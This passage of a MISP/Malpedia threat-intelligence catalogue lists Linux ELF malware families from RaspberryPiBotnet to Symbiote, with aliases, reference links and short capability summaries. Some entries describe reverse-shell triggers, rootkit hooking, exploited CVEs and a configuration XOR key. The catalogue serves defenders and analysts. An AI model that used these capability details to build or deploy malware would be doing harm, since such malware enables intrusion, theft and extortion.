https://www.bitsight.com/blog/rapperbot-infection-ddos-split-second

RaspberryPiBotnet

The tag is: *misp-galaxy:malpedia="RaspberryPiBotnet"*

RaspberryPiBotnet is also known as:

Table 2617. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.raspberrypibotnet
https://kindredsec.com/2019/06/03/code-analysis-of-basic-cryptomining-malware/

rat_hodin

The tag is: *misp-galaxy:malpedia="rat_hodin"*

rat_hodin is also known as:

Table 2618. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rat_hodin
https://github.com/Thibault-69/RAT-Hodin-v2.5

rbs_srv

The tag is: *misp-galaxy:malpedia="rbs_srv"*

rbs_srv is also known as:

Table 2619. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rbs_srv
https://github.com/Thibault-69/Remote_Shell

RedTail

RedTail is a cryptomining malware, which is based on the open-source XMRIG mining software. It is being spread via known vulnerabilities such as: - CVE-2024-3400 - CVE-2023-46805 - CVE-2024-21887 - CVE-2023-1389 - CVE-2022-22954 - CVE-2018-20062

The tag is: *misp-galaxy:malpedia="RedTail"*

RedTail is also known as:

Table 2620. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.redtail
https://www.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit
https://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale

RedXOR

RedXOR is a sophisticated backdoor targeting Linux systems disguised as polkit daemon and utilizing network data encoding based on XOR. Believed to be developed by Chinese nation-state actors, this malware shows similarities to other malware associated with the Winnti umbrella

threat group.

RedXOR uses various techniques such as open-source LKM rootkits, Python pty shell, and network data encoding with XOR. It also employs persistence methods and communication with a Command and Control server over HTTP.

The malware can execute various commands including system information collection, updates, shell commands, and network tunneling.

The tag is: *misp-galaxy:malpedia="RedXOR"*

RedXOR is also known as:

Table 2621. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.redxor
https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/

RedAlert Ransomware

Ransomware that targets Linux VMware ESXi servers. Encryption procedure uses the NTRUEncrypt public-key encryption algorithm.

The tag is: *misp-galaxy:malpedia="RedAlert Ransomware"*

RedAlert Ransomware is also known as:

- N13V

Table 2622. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.red_alert
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/
https://www.bleepingcomputer.com/news/security/new-redalert-ransomware-targets-windows-linux-vmware-esxi-servers/

Rekoobe

A Trojan for Linux intended to infect machines with the SPARC architecture and Intel x86, x86-64 computers. The Trojan's configuration data is stored in a file encrypted with XOR algorithm.

Some versions have there configuration stored within the .data section using RC4 to encrypt the details.

Configuration options include C2 IP and Port, as well as defence evasion details for changing the process name.

The tag is: *misp-galaxy:malpedia="Rekoobe"*

Rekoobe is also known as:

Table 2623. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rekoobe
https://sansec.io/research/rekoobe-fishpig-magento
https://www.intezer.com/blog/malware-analysis/elf-malware-analysis-101-part-3-advanced-analysis/
https://blog.techevo.uk/analysis/linux/2024/11/30/rekoobe-apt31-linux-backdoor.html
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/
https://twitter.com/billyleonard/status/1458531997576572929
https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/
https://hunt.io/blog/rekoobe-backdoor-discovered-in-open-directory-possibly-targeting-tradingview-users
https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt
https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/
https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/
https://vms.drweb.com/virus/?i=7754026&lng=en
https://asec.ahnlab.com/en/55229/

reptile

The tag is: *misp-galaxy:malpedia="reptile"*

reptile is also known as:

Table 2624. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.reptile
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://github.com/f0rb1dd3n/Reptile
https://dfir.ch/posts/reptile_launcher/
https://asec.ahnlab.com/en/55785/
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf

REvil (ELF)

ELF version of win.revil targeting VMware ESXi hypervisors.

The tag is: *misp-galaxy:malpedia="REvil (ELF)"*

REvil (ELF) is also known as:

- REvix

Table 2625. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.revil
https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/
https://twitter.com/IntezerLabs/status/1452980772953071619
https://github.com/f0wl/REconfig-linux
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa
https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released
https://twitter.com/VK_Intel/status/1409601311092490248?s=20
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/
https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/
https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya
https://analyst1.com/file-assets/History-of-REvil.pdf
https://ke-la.com/will-the-revils-story-finally-be-over/
https://malienist.medium.com/revix-linux-ransomware-d736956150d0
https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20
https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://angle.ankura.com/post/102hcny/revix-linux-ransomware
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf

https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5

https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil

https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/

https://www.flashpoint-intel.com/blog/revil-disappears-again/

https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom

https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/

https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin

https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/

https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021

http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html

https://www.bbc.com/news/technology-59297187

https://www.youtube.com/watch?v=ptbNMlWxYnE

https://threatpost.com/ransomware-revil-sites-disappears/167745/

https://twitter.com/VK_Intel/status/1409601311092490248

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf

https://www.youtube.com/watch?v=mDUMpYAOMOo

https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ

https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/

https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/

https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf

https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo

https://threatpost.com/linux-variant-ransomware-vmwares-nas/167511/

https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf

https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide

https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend
https://home.treasury.gov/news/press-releases/jy0471
https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version
https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html

Rex

The tag is: *misp-galaxy:malpedia="Rex"*

Rex is also known as:

Table 2626. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rex
https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/

RHOMBUS

The tag is: *misp-galaxy:malpedia="RHOMBUS"*

RHOMBUS is also known as:

Table 2627. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rhombus
https://old.reddit.com/r/LinuxMalware/comments/fh3zar/memo_rhombus_an_elf_bot_installerdropper/

Rhysida (ELF)

The tag is: *misp-galaxy:malpedia="Rhysida (ELF)"*

Rhysida (ELF) is also known as:

Table 2628. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.rhysida
https://fourcore.io/blogs/rhysida-ransomware-history-ttp-adversary-emulation
https://go.recordedfuture.com/hubfs/reports/cta-2025-0130.pdf
https://www.shadowstackre.com/analysis/rhysida
https://twitter.com/malwrhunterteam/status/1724165711356993736

Roboto

P2P Botnet discovered by Netlab360. The botnet infects linux servers via the Webmin RCE vulnerability (CVE-2019-15107) which allows attackers to run malicious code with root privileges and take over older Webmin versions. Based on the Netlabs360 analysis, the botnet serves mainly 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs and four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.

The tag is: *misp-galaxy:malpedia="Roboto"*

Roboto is also known as:

Table 2629. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.roboto
https://www.zdnet.com/article/new-roboto-botnet-emerges-targeting-linux-servers-running-webmin
https://blog.netlab.360.com/the-awaiting-roboto-botnet-en

RotaJakiro

RotaJakiro is a stealthy Linux backdoor which remained undetected between 2018 and 2021. The malware uses rotating encryption to encrypt the resource information within the sample, and C2 communication, using a combination of AES, XOR, ROTATE encryption and ZLIB compression.

The tag is: *misp-galaxy:malpedia="RotaJakiro"*

RotaJakiro is also known as:

Table 2630. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rotajakiro
https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/
https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/
https://www.domaintools.com/resources/blog/domaintools-and-digital-archeology-a-look-at-rotajakiro

Royal Ransom (ELF)

According to Trendmicro, Royal ransomware was first observed in September 2022, and the threat actors behind it are believed to be seasoned cybercriminals who used to be part of Conti Team One.

The tag is: *misp-galaxy:malpedia="Royal Ransom (ELF)"*

Royal Ransom (ELF) is also known as:

- Royal
- Royal_unix

Table 2631. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.royal_ransom
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/
https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html
https://redsense.com/publications/royal-blacksuit-how-ransomware-rebrand-reshaped-them/
https://www.bleepingcomputer.com/news/security/law-enforcement-seizes-blacksuit-ransomware-leak-sites/
https://unit42.paloaltonetworks.com/royal-ransomware/

Rshell

The tag is: *misp-galaxy:malpedia="Rshell"*

Rshell is also known as:

Table 2632. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rshell
https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html

RudeDevil

The tag is: *misp-galaxy:malpedia="RudeDevil"*

RudeDevil is also known as:

Table 2633. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rude_devil
https://www.elastic.co/security-labs/betting-on-bots

SALTWATER

According to Mandiant, SALTWATER is a module for the Barracuda SMTP daemon (bsmtpd) that has backdoor functionality. SALTWATER can upload or download arbitrary files, execute commands, and has proxy and tunneling capabilities. The backdoor is implemented using hooks on the send, recv, close syscalls via the 3rd party kubo/funchook hooking library, and amounts to five components, most of which are referred to as "Channels" within the binary. In addition to providing backdoor and proxying capabilities, these components exhibit classic backdoor functionality.

The tag is: *misp-galaxy:malpedia="SALTWATER"*

SALTWATER is also known as:

Table 2634. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.saltwater
https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
https://sansorg.egnyte.com/dd/8ekLJCPHPj/
https://cloud.google.com/blog/topics/threat-intelligence/barracuda-esg-exploited-globally/
https://www.youtube.com/watch?v=4zaStuUdvrE
https://www.cisa.gov/sites/default/files/2023-09/MAR-10454006.r5.v1.CLEAR0.pdf
https://www.mandiant.com/resources/blog/chinese-espionage-tactics

Satori

Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).

The tag is: *misp-galaxy:malpedia="Satori"*

Satori is also known as:

Table 2635. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori
http://blog.netlab.360.com/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/

https://www.arbornetworks.com/blog/asert/the-arc-of-satori/
https://unit42.paloaltonetworks.com/satori-mirai-botnet-variant-targeting-vantage-velocity-field-unit-rce-vulnerability/
http://blog.netlab.360.com/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/
https://blog.radware.com/security/botnets/2018/02/new-satori-botnet-variant-enslaves-thousands-dasan-wifi-routers/
https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/
http://www.eweek.com/security/collaborative-takedown-kills-iot-worm-satori

SBIDIOT

The tag is: *misp-galaxy:malpedia="SBIDIOT"*

SBIDIOT is also known as:

Table 2636. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sbidiot
https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/
https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/
https://www.nozominetworks.com/blog/threat-intelligence-analysis-of-the-sbidiot-iot-malware/

SEASPY

According to CISA, this malware is a persistent backdoor that masquerades as a legitimate Barracuda Networks service. The malware is designed to listen to commands received from the Threat Actor's Command-and-Control through TCP packets. When executed, the malware uses libpcap sniffer to monitor traffic for a magic packet on TCP port 25 (SMTP) and TCP port 587. It checks the network packet captured for a hard-coded string. When the right sequence of packet is captured, it establishes a TCP reverse shell to the C2 server for further exploitation. This allows the TA to execute arbitrary commands on the compromised system. The malware is based on an open-source backdoor program named "cd00r".

The tag is: *misp-galaxy:malpedia="SEASPY"*

SEASPY is also known as:

Table 2637. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.seaspy

https://www.youtube.com/watch?v=PSaix1C-UMI
https://www.cisa.gov/news-events/analysis-reports/ar23-209b
https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
https://www.cisa.gov/news-events/alerts/2023/07/28/cisa-releases-malware-analysis-reports-barracuda-backdoors
https://sansorg.egnyte.com/dd/8ekLJCPHPj/
https://cloud.google.com/blog/topics/threat-intelligence/barracuda-esg-exploited-globally/
https://www.cisa.gov/sites/default/files/2023-08/MAR-10454006.r4.v2.CLEAR_.pdf
https://www.youtube.com/watch?v=4zaStuUdvrE
https://i.blackhat.com/Asia-24/Presentations/Asia-24-Chen-Chinese-APT.pdf
https://blog.lumen.com/the-j-magic-show-magic-packets-and-where-to-find-them/
https://www.mandiant.com/resources/blog/chinese-espionage-tactics
https://www.cisa.gov/sites/default/files/2023-07/MAR-10454006.r2.v1.CLEAR_.pdf

SECONDDATE

The tag is: *misp-galaxy:malpedia="SECONDDATE"*

SECONDDATE is also known as:

Table 2638. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.seconddate
https://www.inversecos.com/2025/02/an-inside-look-at-nsa-equation-group.html

sedexp

The tag is: *misp-galaxy:malpedia="sedexp"*

sedexp is also known as:

Table 2639. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sedexp
https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp

SEXi

Ransomware, likely based on the leaked Babuk source code.

The tag is: *misp-galaxy:malpedia="SEXi"*

SEXi is also known as:

- Formosa
- Limpopo
- Socotra

Table 2640. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sexi
https://www.darkreading.com/threat-intelligence/sexi-ransomware-desires-vmware-hypervisors
https://heimdalsecurity.com/blog/powerhosts-esxi-servers-encrypted-with-new-sexi-ransomware/
https://www.cybersecurity-insiders.com/proven-data-restores-powerhosts-vmware-backups-after-sexi-ransomware-attack/
https://x.com/BushidoToken/status/1775843087736025175

ShadowV2

According to Fortinet, this is a Mirai fork propagating through multiple vulnerabilities. ShadowV2 had previously been observed targeting AWS EC2 instances in campaigns disclosed in September 2025.

The tag is: *misp-galaxy:malpedia="ShadowV2"*

ShadowV2 is also known as:

Table 2641. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shadowv2
https://www.fortinet.com/blog/threat-research/shadowv2-casts-a-shadow-over-iot-devices

ShellBind

The tag is: *misp-galaxy:malpedia="ShellBind"*

ShellBind is also known as:

Table 2642. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shellbind
http://blog.trendmicro.com/trendlabs-security-intelligence/linux-users-urged-update-new-threat-exploits-sambacry

Shishiga

The tag is: *misp-galaxy:malpedia="Shishiga"*

Shishiga is also known as:

Table 2643. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shishiga
https://www.welivesecurity.com/2017/04/25/linux-shishiga-malware-using-lua-scripts/

ShortLeash (ELF)

According to STRIKE, ShortLeash is a custom backdoor used to create an ORB network. It generates unique, self-signed TLS certificates with spoofed metadata for each node. Analysis of these certificates revealed over 1000 active nodes globally and victimology supports attribution to China-Nexus APTs.

The tag is: *misp-galaxy:malpedia="ShortLeash (ELF)"*

ShortLeash (ELF) is also known as:

Table 2644. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.shortleash
https://securityscorecard.com/wp-content/uploads/2025/06/LapDogs-STRIKE-Report-June-2025.pdf
https://blog.talosintelligence.com/uat-5918-targets-critical-infra-in-taiwan/

SideWalk (ELF)

The tag is: *misp-galaxy:malpedia="SideWalk (ELF)"*

SideWalk (ELF) is also known as:

Table 2645. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sidewalk
https://www.welivesecurity.com/2022/09/14/you-never-walk-alone-sidewalk-backdoor-linux-variant/
https://www.fortinet.com/blog/threat-research/threat-actors-exploit-geoserver-vulnerability-cve-2024-36401
https://www.mandiant.com/resources/blog/chinese-espionage-tactics

Silex

The tag is: *misp-galaxy:malpedia="Silex"*

Silex is also known as:

- silexbot

Table 2646. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.silex
https://www.bleepingcomputer.com/news/security/new-silex-malware-trashes-iot-devices-using-default-passwords/

SimpleTea (ELF)

SimpleTea for Linux is an HTTP(S) RAT.

It was discovered in Q1 2023 as an instance of the Lazarus group's Operation DreamJob campaign for Linux. It was a payload downloaded in an execution chain which started with an HSBC-themed job offer lure. It shared the same C&C server as payloads from the 3CX incident around the same time.

It's an object-oriented project, which does not run on Linux distributions without a graphical user interface, and decrypts its configuration from /home/%user%/.config/apdl.cf using 0x7E as the XOR key. It uses AES-GCM for encryption and decryption of its network traffic.

It supports basic commands that include operations on the victim's filesystem, manipulation with its configuration, file exfiltration (via ZIP archives), and the download and execution of additional tools from the attacker's arsenal. The commands are indexed by 16-bit integers, starting with the value 0x27C3.

SimpleTea for Linux seems like an updated version of BadCall for Linux, rewritten from C to C++, as there are similarities in class names and function names between the two.

The tag is: *misp-galaxy:malpedia="SimpleTea (ELF)"*

SimpleTea (ELF) is also known as:

- PondRAT
- SimplexTea

Table 2647. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.simpletea
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf

https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack
https://mp.weixin.qq.com/s?biz=MzUyMjk4NzExMA%3D%3D&mid=2247499462&idx=1&sn=7cc55f3cc2740e8818648efbec21615f
https://vipyrsec.com/research/elf64-rat-malware/

Sindoor

The tag is: *misp-galaxy:malpedia="Sindoor"*

Sindoor is also known as:

Table 2648. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sindoor
https://www.nextron-systems.com/2025/08/29/sindoor-dropper-new-phishing-campaign/

SLAPSTICK

According to FireEye, SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password.

The tag is: *misp-galaxy:malpedia="SLAPSTICK"*

SLAPSTICK is also known as:

Table 2649. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.slapstick
https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html
https://www.mandiant.com/resources/unc2891-overview

SnappyTCP

According to PwC, SnappyTCP is a simple reverse shell for Linux/Unix systems, with variants for plaintext and TLS communication. SeaTurtle has used SnappyTCP at least between 2021 and 2023.

The tag is: *misp-galaxy:malpedia="SnappyTCP"*

SnappyTCP is also known as:

Table 2650. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.snappy_tcp
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html
https://www.huntandhackett.com/blog/turkish-espionage-campaigns
https://blog.strikeready.com/blog/pivoting-through-a-sea-of-indicators-to-spot-turtles/

SNOWLIGHT

According to sysdig, SNOWLIGHT is used as a dropper for its fileless payload (vshell).

The tag is: *misp-galaxy:malpedia="SNOWLIGHT"*

SNOWLIGHT is also known as:

Table 2651. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.snowlight
https://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/
https://blog.eclecticiq.com/china-nexus-nation-state-actors-exploit-sap-netweaver-cve-2025-31324-to-target-critical-infrastructures
https://cloud.google.com/blog/topics/threat-intelligence/initial-access-brokers-exploit-f5-screenconnect

SoWaT

This is an implant used by APT31 on home routers to utilize them as ORBs.

The tag is: *misp-galaxy:malpedia="SoWaT"*

SoWaT is also known as:

Table 2652. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sowat
https://twitter.com/bkMSFT/status/1417823714922610689
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/
https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003
https://imp0rtp3.wordpress.com/2021/11/25/sowat/
https://twitter.com/billyleonard/status/1417910729005490177

Spamtorte

The tag is: *misp-galaxy:malpedia="Spamtorte"*

Spamtorte is also known as:

Table 2653. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.spamtorte
https://cis.verint.com/2016/11/08/spamtorte-version-2/

SPAWNSNARE

According to Mandiant, this is a utility that is written in C and targets Linux. It can be used to extract the uncompressed linux kernel image (vmlinux) into a file and encrypt it using AES without the need for any command line tools.

The tag is: *misp-galaxy:malpedia="SPAWNSNARE"*

SPAWNSNARE is also known as:

Table 2654. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.spawnsnare
https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-exploiting-critical-ivanti-vulnerability

SpeakUp

The tag is: *misp-galaxy:malpedia="SpeakUp"*

SpeakUp is also known as:

Table 2655. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.speakup
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/

Specter

The tag is: *misp-galaxy:malpedia="Specter"*

Specter is also known as:

Table 2656. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.specter
https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/
https://blog.netlab.360.com/the-pitfall-of-threat-intelligence-whitelisting-specter-botnet-is-taking-over-top-legit-dns-domains-by-using-cloudns-service/

SpectralBlur (ELF)

The tag is: *misp-galaxy:malpedia="SpectralBlur (ELF)"*

SpectralBlur (ELF) is also known as:

Table 2657. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.spectral_blur
https://twitter.com/XJunior/status/1743193763000828066

Speculoos

The tag is: *misp-galaxy:malpedia="Speculoos"*

Speculoos is also known as:

Table 2658. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.speculoos
https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/
https://www.secureworks.com/research/threat-profiles/bronze-atlas
https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html

SprySOCKS

The tag is: *misp-galaxy:malpedia="SprySOCKS"*

SprySOCKS is also known as:

Table 2659. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.spry_socks
https://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html

Sshdinjector

The tag is: *misp-galaxy:malpedia="Sshdinjector"*

Sshdinjector is also known as:

Table 2660. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdinjector
https://www.fortinet.com/blog/threat-research/analyzing-elf-sshdinjector-with-a-human-and-artificial-analyst

SSHDoor

The tag is: *misp-galaxy:malpedia="SSHDoor"*

SSHDoor is also known as:

Table 2661. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sshdoor
https://www.trendmicro.com/en_in/research/24/e/router-roulette.html
http://contagiodump.blogspot.com/2013/02/linux-sshdoor-sample.html
https://www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-that-steals-passwords/

Stantinko

The tag is: *misp-galaxy:malpedia="Stantinko"*

Stantinko is also known as:

Table 2662. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.intezer.com/blog/research/stantinkos-proxy-after-your-apache-server/
https://www.welivesecurity.com/2019/11/26/stantinko-botnet-adds-cryptomining-criminal-activities/

https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
https://www.welivesecurity.com/2020/03/19/stantinko-new-cryptominer-unique-obfuscation-techniques/
https://www.welivesecurity.com/2020/08/07/stadeo-deobfuscating-stantinko-and-more/

STEELCORGI

According to FireEye, STEELCORGI is a packer for Linux ELF files that makes use of execution guardrails by sourcing decryption key material from environment variables.

The tag is: *misp-galaxy:malpedia="STEELCORGI"*

STEELCORGI is also known as:

Table 2663. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.steelcorgi
https://yoroi.company/research/opening-steelcorgi-a-sophisticated-apt-swiss-army-knife/
https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html
https://www.mandiant.com/resources/unc2891-overview
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/

Sunless

The tag is: *misp-galaxy:malpedia="Sunless"*

Sunless is also known as:

Table 2664. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sunless
https://www.securityartwork.es/2019/01/09/analisis-de-linux-sunless/

sustes miner

Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software.

The tag is: *misp-galaxy:malpedia="sustes miner"*

sustes miner is also known as:

Table 2665. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sustes
https://marcoramilli.com/2018/09/20/sustes-malware-cpu-for-monero/

Suterusu

The tag is: *misp-galaxy:malpedia="Suterusu"*

Suterusu is also known as:

- HCRootkit

Table 2666. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.suterusu
https://www.lacework.com/blog/hcrootkit-sutersu-linux-rootkit-analysis/

Sword2033

The tag is: *misp-galaxy:malpedia="Sword2033"*

Sword2033 is also known as:

Table 2667. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.sword2033
https://unit42.paloaltonetworks.com/alloy-taurus/
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/

Symbiote

A malware capable of capturing credentials and enabling backdoor access, implemented as a userland rootkit. It uses three methods for hiding its network activity, by hooking and hijacking 1) fopen/fopen64, 2) eBPF, 3) a set of libpcap functions.

The tag is: *misp-galaxy:malpedia="Symbiote"*

Symbiote is also known as:

Table 2668. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.symbiote
https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html
